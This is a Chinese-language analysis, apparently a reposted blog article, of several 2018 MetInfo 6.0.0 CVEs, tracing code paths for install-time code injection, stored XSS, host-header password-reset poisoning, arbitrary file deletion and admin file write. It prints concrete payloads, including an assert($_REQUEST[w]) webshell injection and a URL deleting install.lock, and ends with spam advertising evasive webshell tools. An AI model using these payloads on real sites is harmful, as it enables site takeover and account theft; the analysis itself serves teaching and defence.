1. 程式人生 > >Metinfo 6.0.0 眾多漏洞分析

Metinfo 6.0.0 眾多漏洞分析

關於 引入 -bash 釣魚 java filename 分享圖片 ria 是否

技術分享圖片

最近在seebug上瀏覽漏洞,發現metinfo爆出了很多危害很大的漏洞,然後看了一下cve列表,竟然還有這麽多,既然這樣那就開始跟蹤學習起來。

偽全局變量

首先metinfo在全局都使用了一種對傳入參數進行封裝的方法,也就是偽全局變量覆蓋,下面是核心代碼:
技術分享圖片這也是我在之前的文章中提到的,在開發中多封裝一層的好處,可以在很多地方避免因為沒有過濾就拼接數據到sql變量中,導致的sql註入,這也是給大家在開發過程中需要註意的地方。

CVE-2018-7271、CVE-2018-12531

首先是兩個安裝時候的漏洞,也是在安裝的過程中,沒有對輸入進行過濾,導致了任意代碼註入,寫入webshell,跟了幾個cms,發現很多cms都存在這個問題。下面簡單貼一下代碼:
技術分享圖片

可以發現,並沒有對輸入進行檢查,直接拼接寫入了文件,造成了漏洞,下面實際測試一下:
安裝時輸入的數據庫密碼為payload:

pass = "*/assert($_REQUEST[w])/*"
拼接之後代碼為:
<?php
     /*
       con_db_host = "localhost"
       con_db_port = "3306"
       con_db_id   = "root"
       con_db_pass    = ""*/assert($_REQUEST[w]);/*""
       con_db_name = "metinfo"
       tablepre    =  "met_"
       db_charset  =  "utf8";
      */
?>

然後訪問/config/config_db.php即可獲取webshell。
技術分享圖片

CVE-2018-7721

這是一個前臺的反饋處的xss,可以在沒有登錄的情況下,直接xss到管理員,從而拿到管理員cookie,作為管理員登陸。
首先找到feedback的代碼邏輯控制器/app/system/feedback/web/feedback.class.php
技術分享圖片只是簡單的代碼入庫操作,然後找到管理員查看反饋的代碼控制邏輯/app/system/feedback/admin/feedback_admin.class.php:
技術分享圖片看到將用戶輸入從數據庫中取出來以後,引入了模板文件,然後跟進到模板文件中查看是否有過濾:
技術分享圖片看到整個流程中並沒有對代碼進行實體化轉義等過濾xss的方式,因為xss變的很簡單,我們簡單做個彈窗測試

<script>alert(‘/xss/‘);</script>

然後管理員查看反饋是觸發xss:
技術分享圖片

CVE-2018-9934

這是一個比較有趣的漏洞,這並不是傳統的web漏洞,而是一種類似於釣魚的中間人攻擊方式,要利用這個漏洞首先要知道你要攻擊的用戶的郵箱,然後密碼找回功能,通過篡改請求host頭,從而將發送給用戶的鏈接中的host更改,用戶點擊之後,黑客就獲得了用戶的密碼更換token,從而更改掉用戶的密碼。
攻擊手法為:
在metinfo點擊找回密碼,然後輸入要攻擊的用戶的郵箱,
技術分享圖片
技術分享圖片
然後用戶收到釣魚郵件,當用戶點擊以後
技術分享圖片成功接收到了用戶的密碼更改鏈接,然後
技術分享圖片就可以成功改掉該用戶的密碼。
攻擊流程大概如圖:
技術分享圖片

CVE-2018-12530

這是一個任意文件刪除漏洞,可以將安全後產生的安裝鎖文件刪除,然後利用安裝時的代碼註入漏洞getshell,看來這兩個漏洞的組合拳還是很多的。
首先可以看一下payload:

/admin/app/batch/csvup.php?fileField=test-1&flienamecsv=../../../config/install.lock

然後跟進到代碼中看一下:
技術分享圖片
可以發現並沒有對傳入的filenamecsv過濾,直接讀了這個csv文件,然後讀取完成以後,采取了unlink操作,也就導致了漏洞的產生。

CVE-2018-13024

這是一個後臺的getshell漏洞,可以造成任意文件寫入,算是很危險的,下面具體跟蹤一下文件寫入的流程:
產生漏洞的位置在admincolumnsave.php的大約32行的column_copyconfig函數:
技術分享圖片首先在進入這個條件的時候,還是比較好進的,沒有什麽必須滿足的條件,然後跟進這個函數
技術分享圖片其實這個函數中間的switch可以直接略過,因為最後還是會帶入到下面的Copyindex函數中,而這個函數就是文件寫入的關鍵函數:
技術分享圖片可以看到,這裏直接就將函數的第二個參數寫入了文件,這個參數追溯起來就是我們之前的module變量,於是整個數據流程就變成了:
技術分享圖片
所以我們在管理員登陸以後,構造的payload是:

admin/column/save.php?name=123&action=editor&foldername=upload&module=22;phpinfo();/*

然後我們只要訪問/upload/就可以默認訪問到寫好的shell。
技術分享圖片

一些設計不當導致的小問題

還有一些cve是關於跨站請求偽造的,這裏就不具體分析了,因為這樣的點真的很多。

因為整個cms在設計的時候,後臺沒有采用csrf的防禦機制,所以攻擊著可以很輕易的構造惡意表單,然後通過釣魚的手段,使管理員訪問這個釣魚鏈接,然後csrf惡意表單就被觸發了,從而完成了很多只有管理員才能做的操作。
下面貼一下csrf的攻擊流程圖,方便新手理解;
技術分享圖片

這也是在開發中應該註意到的,csrf的防護是必須的,現在很多開發框架都已經默認啟用了csrf-toen的防禦方式,雖然不能完全避免csrf攻擊,但是能讓攻擊的構造變得更難。

xise菜刀 中國菜刀 ,Xise菜刀下載,中國菜刀下載,過狗菜刀,過狗一句話,免殺大馬,ASP大馬,PHP大馬,ASPX大馬,最新免殺大馬

Metinfo 6.0.0 眾多漏洞分析